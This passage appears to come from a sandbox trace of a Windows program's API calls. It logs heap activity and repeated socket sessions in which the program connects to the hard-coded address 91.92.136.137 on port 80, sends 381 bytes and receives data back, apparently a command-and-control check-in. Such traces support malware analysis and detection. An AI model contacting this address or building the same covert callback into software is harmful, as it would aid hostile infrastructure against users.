(HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0063.665] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543368 [0063.665] GetLastError () returned 0x0 [0063.666] send (s=0x1b0, buf=0x54aba0*, len=381, flags=0) returned 381 [0063.666] Sleep (dwMilliseconds=0x32) [0063.720] WSARecv (in: s=0x1b0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x0, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0063.721] WSAGetLastError () returned 997 [0063.721] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0065.813] WSAResetEvent (hEvent=0x184) returned 1 [0065.813] WSAGetOverlappedResult (in: s=0x1b0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0065.813] WSARecv (in: s=0x1b0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1ff, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0065.813] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0065.813] WSAResetEvent (hEvent=0x184) returned 1 [0065.813] WSAGetOverlappedResult (in: s=0x1b0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0065.813] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x400) returned 0x54adc8 [0065.813] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54aba0 | out: hHeap=0x510000) returned 1 [0065.813] WSARecv (in: s=0x1b0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1b6, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0065.813] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0065.813] WSAResetEvent (hEvent=0x184) returned 1 [0065.813] WSAGetOverlappedResult (in: s=0x1b0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0065.813] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5ff) returned 0x54b1d0 [0065.813] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54adc8 | out: hHeap=0x510000) returned 1 [0065.814] WSARecv (in: s=0x1b0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x0, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0065.814] WSAGetLastError () returned 997 [0065.814] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0065.954] WSAResetEvent (hEvent=0x184) returned 1 [0065.954] WSAGetOverlappedResult (in: s=0x1b0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0065.954] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8fe) returned 0x54b7d8 [0065.954] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b1d0 | out: hHeap=0x510000) returned 1 [0065.954] WSARecv (in: s=0x1b0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x3e, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0065.954] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0065.954] WSAResetEvent (hEvent=0x184) returned 1 [0065.954] WSAGetOverlappedResult (in: s=0x1b0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0065.954] WSARecv (in: s=0x1b0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x0, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0065.955] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0065.955] WSAResetEvent (hEvent=0x184) returned 1 [0065.955] WSAGetOverlappedResult (in: s=0x1b0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0065.955] WSAGetLastError () returned 0 [0065.955] WSASetEvent (hEvent=0x184) returned 1 [0065.955] WSACloseEvent (hEvent=0x184) returned 1 [0065.955] closesocket (s=0x1b0) returned 0 [0065.956] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543368 | out: hHeap=0x510000) returned 1 [0065.956] WSACleanup () returned 0 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54aa30 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54c0e0 [0065.961] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54aa30 | out: hHeap=0x510000) returned 1 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0065.961] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54aa30 [0065.961] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c0e0 | out: hHeap=0x510000) returned 1 [0065.961] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54c0e0 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54c8c8 [0065.961] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0065.961] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c0e0 | out: hHeap=0x510000) returned 1 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54c0e0 [0065.961] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c8c8 | out: hHeap=0x510000) returned 1 [0065.961] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5432f0 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0065.961] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5432f0 | out: hHeap=0x510000) returned 1 [0065.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x47) returned 0x528908 [0065.961] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a) returned 0x54a680 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528908 | out: hHeap=0x510000) returned 1 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9e) returned 0x54a6f8 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xec) returned 0x542528 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a6f8 | out: hHeap=0x510000) returned 1 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x161) returned 0x54a680 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542528 | out: hHeap=0x510000) returned 1 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x211) returned 0x542528 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x319) returned 0x54b228 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542528 | out: hHeap=0x510000) returned 1 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4a5) returned 0x542528 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b228 | out: hHeap=0x510000) returned 1 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6f7) returned 0x54c8c8 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542528 | out: hHeap=0x510000) returned 1 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e0) returned 0x543a38 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e0) returned 0x54cfc8 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf40 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x550) returned 0x54b228 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x550) returned 0x543a38 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b228 | out: hHeap=0x510000) returned 1 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x48) returned 0x528908 [0065.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0065.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5432f0 [0065.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x5345c0 [0065.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543390 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528908 | out: hHeap=0x510000) returned 1 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5432f0 | out: hHeap=0x510000) returned 1 [0065.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0065.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x543f90 [0065.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5345c0 | out: hHeap=0x510000) returned 1 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0065.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5432f0 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf40 | out: hHeap=0x510000) returned 1 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543390 | out: hHeap=0x510000) returned 1 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543f90 | out: hHeap=0x510000) returned 1 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cfc8 | out: hHeap=0x510000) returned 1 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c8c8 | out: hHeap=0x510000) returned 1 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c0e0 | out: hHeap=0x510000) returned 1 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54aa30 | out: hHeap=0x510000) returned 1 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b7d8 | out: hHeap=0x510000) returned 1 [0065.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f7) returned 0x54aa30 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544638 | out: hHeap=0x510000) returned 1 [0065.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5432f0 | out: hHeap=0x510000) returned 1 [0065.963] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ae2f8 | out: lpWSAData=0x4ae2f8) returned 0 [0065.968] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5432f0 [0065.968] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0065.968] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5432f0 | out: hHeap=0x510000) returned 1 [0065.968] WSACreateEvent () returned 0x208 [0065.968] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1e0 [0065.971] gethostbyname (name="91.92.136.137") returned 0x26d4898*(h_name="91.92.136.137", h_aliases=0x26d48a8*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x26d48ac*=([0]="91.92.136.137")) [0065.986] htons (hostshort=0x50) returned 0x5000 [0065.986] connect (s=0x1e0, name=0x4ae01c*(sa_family=2, sin_port=0x50, sin_addr="91.92.136.137"), namelen=16) returned 0 [0066.032] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0066.032] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543458 [0066.032] GetLastError () returned 0x0 [0066.032] send (s=0x1e0, buf=0x543ba8*, len=381, flags=0) returned 381 [0066.033] Sleep (dwMilliseconds=0x32) [0066.092] WSARecv (in: s=0x1e0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x0, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0066.092] WSAGetLastError () returned 997 [0066.092] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0068.218] WSAResetEvent (hEvent=0x208) returned 1 [0068.219] WSAGetOverlappedResult (in: s=0x1e0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0068.219] WSARecv (in: s=0x1e0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1ff, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0068.219] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0068.219] WSAResetEvent (hEvent=0x208) returned 1 [0068.219] WSAGetOverlappedResult (in: s=0x1e0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0068.219] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x400) returned 0x54b230 [0068.219] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543ba8 | out: hHeap=0x510000) returned 1 [0068.219] WSARecv (in: s=0x1e0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1ff, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0068.219] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0068.219] WSAResetEvent (hEvent=0x208) returned 1 [0068.219] WSAGetOverlappedResult (in: s=0x1e0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0068.219] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x600) returned 0x543a38 [0068.219] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b230 | out: hHeap=0x510000) returned 1 [0068.219] WSARecv (in: s=0x1e0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1f4, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0068.219] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0068.219] WSAResetEvent (hEvent=0x208) returned 1 [0068.219] WSAGetOverlappedResult (in: s=0x1e0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0068.219] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8ff) returned 0x54b230 [0068.219] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0068.219] WSARecv (in: s=0x1e0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x0, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0068.220] WSAGetLastError () returned 997 [0068.220] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0068.362] WSAResetEvent (hEvent=0x208) returned 1 [0068.362] WSAGetOverlappedResult (in: s=0x1e0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0068.362] WSAGetLastError () returned 0 [0068.363] WSASetEvent (hEvent=0x208) returned 1 [0068.363] WSACloseEvent (hEvent=0x208) returned 1 [0068.363] closesocket (s=0x1e0) returned 0 [0068.363] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543458 | out: hHeap=0x510000) returned 1 [0068.363] WSACleanup () returned 0 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54bb38 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54c330 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54bb38 | out: hHeap=0x510000) returned 1 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54bb38 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c330 | out: hHeap=0x510000) returned 1 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54c330 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54cb18 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c330 | out: hHeap=0x510000) returned 1 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54c330 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cb18 | out: hHeap=0x510000) returned 1 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434f8 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434f8 | out: hHeap=0x510000) returned 1 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x47) returned 0x5288b8 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a) returned 0x54a680 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9e) returned 0x54a6f8 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xec) returned 0x542528 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a6f8 | out: hHeap=0x510000) returned 1 [0068.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x161) returned 0x54a680 [0068.373] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542528 | out: hHeap=0x510000) returned 1 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x211) returned 0x542528 [0068.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x319) returned 0x544638 [0068.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542528 | out: hHeap=0x510000) returned 1 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4a5) returned 0x542528 [0068.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544638 | out: hHeap=0x510000) returned 1 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6f7) returned 0x54cb18 [0068.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542528 | out: hHeap=0x510000) returned 1 [0068.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e0) returned 0x543a38 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e0) returned 0x54d218 [0068.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce60 [0068.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x550) returned 0x544638 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x550) returned 0x543a38 [0068.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0068.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544638 | out: hHeap=0x510000) returned 1 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x48) returned 0x5288b8 [0068.374] HeapFree (in: 